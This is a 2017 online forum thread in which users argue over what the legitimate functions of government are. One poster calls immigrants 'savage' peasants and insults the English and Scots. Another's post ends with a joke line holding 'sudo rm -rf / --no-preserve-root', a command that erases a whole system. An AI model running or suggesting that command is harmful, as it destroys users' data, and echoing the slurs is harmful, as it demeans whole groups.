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Harbynger is not online. Harbynger
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27 Jun 2017 03:38 AM
what actually are the legitimate, rightful functions of government in the first place..?


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Calgacos is not online. Calgacos
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27 Jun 2017 03:50 AM
the primary, stated, function of the us government is to keep the economy stable/running etc this is so that there is no collapse or disaster that would then cause anarchy and all that bad stuff


HOWEVER this economy is pretty rigged it only serves a few wealthy fellows


while everyone else is pretty much getting robbed by the banks and stuff the country is also getting flooded with illiterate, savage, peasants who are to be used as serf labor replacing the native citizens who used to work those jobs at living wages to further increase the wealth of those at the top


the economies only gotten worse, it does not serve the people, and you probably wont even be able to find a job in the future due to automation so it begs the question is this government actually even legitimate
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27 Jun 2017 03:55 AM
This is an interesting question if I may be honest.


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27 Jun 2017 04:14 AM
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Altair551 is online. Altair551
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27 Jun 2017 04:22 AM
literally take a sociology 101 class
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Altair551 is online. Altair551
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27 Jun 2017 04:24 AM
it really isn't that interesting of a question. the "legitimate" functions of a government are those that the people allow them to take. it's really that simple. the only reason that governments, government documents, etc. have power is because the people let them have power and have an understanding that they have power. the only conflict is when the government's actions comes in conflict with the 'rules' so to speak
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jamiethedevil is not online. jamiethedevil
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27 Jun 2017 04:47 AM
Jefferson would say in classical liberal thought the only functions of the state were to ensure life libety and the pursuit of happiness.
whereby they simply only defend the realm, enforce contracts and maintain public order

But in modern days this has expanded into a developmental state where it tries to give its people the tools to help themselves such as education etc
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Calgacos is not online. Calgacos
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27 Jun 2017 04:51 AM
jamie,

public education has made people dumber, look up literacy rates before and after mandatory public education for all children in the us



altair
what a fedora response
the government has power because they have a monopoly on violence
don't follow their laws, don't pay them taxes you get arrested by police and put in prison (violence) or the police shoot you (violence)

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jamiethedevil is not online. jamiethedevil
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27 Jun 2017 04:53 AM
i'm more speaking from a UK perspective that is less right wing
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Calgacos is not online. Calgacos
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27 Jun 2017 05:09 AM
well the english seem to have always been trash it seems but scotland, who once produced those such as ######## hume, bell, watt, smith, burns, ######### and ######## who once was a proud nation synonymous with independence and freedom, is now full of fat lazy socialists living in housing projects clearly this "help" does not uplift but rather just turn them into good little serfs and slaves i know germany bans homeschooling, does the uk as well? kind of weird way to "help" considering kids who are homeschooled are far more likely to do better than children who went through the public school system
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27 Jun 2017 05:31 AM
yeah its legal, plus current uk government is trying to setup grammar schools again
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Altair551 is online. Altair551
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27 Jun 2017 03:35 PM
"what a fedora response"
"the government has power because they have a monopoly on violence"

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27 Jun 2017 03:39 PM
altair that depends on the type of government, however i use John lockes definition,and the social contract for the function/reason of government
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Harbynger is not online. Harbynger
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27 Jun 2017 09:43 PM
[see the ### discord debates for the full post, I'm not bothering trying to self-censor "becuz feeeeeeeeeelings could be hurt"] tl;dr Logically speaking, the only functions of government that make objective sense are: - Establishment of national identity (ie, borders) - Establishment of a national military (national defense, possibly to spread capitalism to the world) - Assert the Non-Aggression Principle as the law of the land. How it achieves funding for this is something which can be debated, and an ideal and purely logical "one size fits all" conclusion isn't really possible. How long this lasts until it devolves into corporatism is debatable as well, because it inevitably will. All you can do is make it harder/longer to do so. $ echo "Get slam jammed, kid!" && sudo rm -rf / --no-preserve-root
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Harbynger is not online. Harbynger
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27 Jun 2017 09:43 PM
[see the c and g discord debates for the full post, I'm not bothering trying to self-censor "becuz feeeeeeeeeelings could be hurt"]



tl;dr
Logically speaking, the only functions of government that make objective sense are:
- Establishment of national identity (ie, borders)
- Establishment of a national military (national defense, possibly to spread capitalism to the world)
- Assert the Non-Aggression Principle as the law of the land.

How it achieves funding for this is something which can be debated, and an ideal and purely logical "one size fits all" conclusion isn't really possible. How long this lasts until it devolves into corporatism is debatable as well, because it inevitably will. All you can do is make it harder/longer to do so.


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Calgacos is not online. Calgacos
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27 Jun 2017 10:16 PM
"error 404 self awareness not found"

uhhh yah sweetie and its LITERALLY true though snookum poo thats why all you can do is other dumb fedora replies
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